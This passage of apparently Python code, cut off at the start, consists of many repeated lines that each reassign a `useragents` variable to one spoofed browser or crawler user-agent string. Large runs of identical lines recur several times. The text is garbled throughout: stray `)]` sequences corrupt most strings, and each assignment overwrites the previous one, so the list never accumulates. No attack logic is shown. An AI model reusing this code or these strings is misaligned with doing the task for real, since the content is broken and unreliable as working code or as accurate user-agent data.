SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] 